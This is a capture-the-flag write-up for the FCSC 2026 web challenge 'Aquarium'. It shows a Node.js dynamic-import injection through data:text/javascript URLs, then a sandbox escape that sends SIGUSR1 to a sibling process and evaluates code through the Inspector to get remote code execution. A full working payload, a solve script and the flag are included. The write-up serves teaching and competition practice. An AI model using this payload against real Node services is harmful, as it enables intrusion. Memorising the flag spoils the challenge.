Informations

FieldValue
CTFFCSC 2026
CategoryWeb
DifficultyMedium
Points374
Solves53

Description

Le FCSC à ouvert un Aquarium, visitez-le !

https://fcsc-aquarium.fcsc.fr

Source code is given: fcsc-aquarium.tar.xz

Analysis

Architecture overview

The sources contain these files:

 1$ tree
 2.
 3├── fcsc-aquarium
 4│   ├── docker-compose.yml
 5│   └── src
 6│       ├── Dockerfile
 7│       ├── app
 8│       │   ├── en
 9│       │   │   └── index.js
10│       │   ├── fr
11│       │   │   └── index.js
12│       │   ├── it
13│       │   │   └── index.js
14│       │   ├── message.txt
15│       │   ├── package.json
16│       │   ├── public
17│       │   │   ├── app.js
18│       │   │   └── index.html
19│       │   └── server.mjs
20│       ├── flag.txt
21│       ├── getflag.c
22│       ├── messages.js
23│       ├── run.sh
24│       └── supervisord.conf
25└── fcsc-aquarium.tar.xz

To get the flag, we need to execute the binary at /getflag, which means we need an RCE to solve this challenge.

The challenge is launched with the following supervisord config:

 1[supervisord]
 2user=root
 3pidfile=/fcsc/supervisord.pid
 4nodaemon=true
 5logfile=/dev/null
 6logfile_maxbytes=0
 7loglevel=info
 8
 9[program:bot]
10command=/bin/sh /home/ctf/run.sh
11user=ctf
12stdout_logfile=/dev/stdout
13stdout_logfile_maxbytes=0
14stderr_logfile=/dev/stdout
15stderr_logfile_maxbytes=0
16autostart=true
17autorestart=true
18
19[program:app]
20command=node --permission --allow-fs-read=/ /usr/app/server.mjs
21user=ctf
22stdout_logfile=/dev/stdout
23stdout_logfile_maxbytes=0
24stderr_logfile=/dev/stdout
25stderr_logfile_maxbytes=0
26autostart=true
27autorestart=true

We have a main application app, which launches a Node.js application with strict permissions. This app only has permission to read the filesystem (--allow-fs-read=/).

We also have a bot, which runs this bash script:

1#!/bin/sh
2
3while true; do
4    node /home/ctf/messages.js;
5done

Which launches this basic JavaScript program:

 1const {writeFileSync} = require("fs");
 2
 3async function chooseMsg() {
 4    const messages = [
 5        "I HATE FISH FISH ARE BAD",
 6        "FISH ARE BAD",
 7        "I HATE THIS AQUARIUM FISH ARE BAD"
 8    ];
 9
10    const randomMessage = messages[Math.floor(Math.random() * messages.length)];
11
12    // NEED TO FIX THESE BAD MESSAGES ASAP
13    //writeFileSync("/tmp/message.txt", randomMessage);
14
15    // Fishes needs some rest
16    await new Promise(r => setTimeout(r, 10000));
17}
18
19chooseMsg();

The interesting fact is that this second program is also launched by node without any --permission flag, which we will use later.

Arbitrary JavaScript execution

The main application is the only exposed service, so it is our only entrypoint.

The server source code contains three routes:

1app.post("/language", async (req, res) => {/*definition*/});
2app.get("/message", (req, res) => {/*definition*/});
3app.get("/", (_, res) => {/*definition*/});

The most interesting route is the language route.

1app.post("/language", async (req, res) => {
2  const requested = req.body?.lang || "fr";
3  try {
4    res.json(await import(requested+"/index.js"));
5  } catch {
6    res.json(await import("fr/index.js"));
7  }
8});

We can see that this route takes the user-controlled parameter lang and calls the import function on lang+"/index.js". For example, if the requested lang is en, the server will import en/index.js. The interesting point is that the import function can take raw inline JavaScript as data:text/javascript,... and will interpret it. In our case, we need to add // at the end of the payload to put the /index.js as comment.

For example, if we request data:text/javascript,export default{disclaimer:7*7}// as lang, the returned value will be:

1$ curl -X POST https://fcsc-aquarium.fcsc.fr/language -H $'Content-Type: application/json' --data '{"lang":"data:text/javascript,export default{disclaimer:7*7}//"}'
2{"default":{"disclaimer":49}}

The problem here is that we cannot achieve a direct RCE in the current process (app) as it has strict restrictions, so we need to find a way to bypass them.

RCE through process debugging

The app process runs with --allow-fs-read=/. This permission flag only restricts filesystem operations, it does not restrict signal sending or network connections.

According to the Node.js documentation, “Node.js will also start listening for debugging messages if it receives a SIGUSR1 signal. In Node.js 8 and later, it will activate the Inspector API.” (source).

When SIGUSR1 is sent to a Node.js process, it opens the Inspector on 127.0.0.1:9229, exposing a WebSocket endpoint that allows evaluating arbitrary JavaScript in the target process context.

The messages.js bot process is the perfect target:

  • It runs without any --permission flag, so it can spawn child processes
  • It is restarted in a loop by run.sh, so it is always running
  • The app process can find its PID by reading /proc (a filesystem read, which is allowed), then send it SIGUSR1 (a signal, not a filesystem operation)

Once the Inspector is active, we can connect to the WebSocket endpoint and use Runtime.evaluate to execute child_process.execSync('/getflag') directly in the messages.js process context, achieving unrestricted RCE.

Exploitation

To summarize the full attack chain:

  1. Use the data:text/javascript,... import to execute arbitrary JS in the app process
  2. Read /proc to find the PID of messages.js
  3. Send SIGUSR1 to that process to activate the Inspector on port 9229
  4. Connect to the Inspector WebSocket and call Runtime.evaluate to run code in the messages.js process context, which has no filesystem restrictions
  5. Execute /getflag via child_process.execSync to read /root/flag.txt

The full payload sent as the lang parameter is:

 1import fs from "node:fs";
 2
 3let pid;
 4for (const entry of fs.readdirSync("/proc")) {
 5    try {
 6        if (fs.readFileSync(`/proc/${entry}/cmdline`, "utf8").includes("/home/ctf/messages.js")) {
 7            pid = Number(entry);
 8            break;
 9        }
10    } catch {}
11}
12
13let wsUrl;
14for (let i = 0; i < 50; i++) {
15    try {
16        process.kill(pid, "SIGUSR1");
17    } catch {}
18
19    try {
20        const targets = await fetch("http://127.0.0.1:9229/json/list").then((r) => r.json());
21        wsUrl = targets.find((t) => (t.url || "").includes("/home/ctf/messages.js"))?.webSocketDebuggerUrl;
22        if (wsUrl) {
23            break;
24        }
25    } catch {}
26
27    await new Promise((resolve) => setTimeout(resolve, 100));
28}
29
30const ws = new WebSocket(wsUrl);
31const response = await new Promise((resolve) => {
32    ws.addEventListener("open", () => {
33        ws.send(JSON.stringify({
34            id: 1,
35            method: "Runtime.evaluate",
36            params: {
37                expression: "process.getBuiltinModule('node:child_process').execSync('/getflag').toString().trim()"
38            }
39        }));
40    }, {
41        once: true
42    });
43
44    ws.addEventListener("message", (event) => {
45        resolve(JSON.parse(event.data));
46        try {
47            ws.close();
48        } catch {}
49    }, {
50        once: true
51    });
52});
53
54export default {
55    disclaimer: response.result.result.value
56};
57
58//

The trailing // comments out the /index.js that the server appends to the lang value.

The solve script URL-encodes this payload and sends it:

 1from urllib.parse import quote
 2import requests
 3
 4URL = "https://fcsc-aquarium.fcsc.fr"
 5
 6def solve():
 7    js = open("payload.js").read()
 8    payload = "data:text/javascript," + quote(js, safe="")
 9
10    response = requests.post(f"{URL}/language", json={"lang": payload})
11    data = response.json()
12    print(f"Flag: {data['default']['disclaimer']}")
13
14solve()

Running it:

1$ python3 solve.py 
2Flag: FCSC{046f001ea6fbfb862d436de91db44f97e612ca4c9a45c37b29199ff9fd20e8b7}

Flag

1FCSC{046f001ea6fbfb862d436de91db44f97e612ca4c9a45c37b29199ff9fd20e8b7}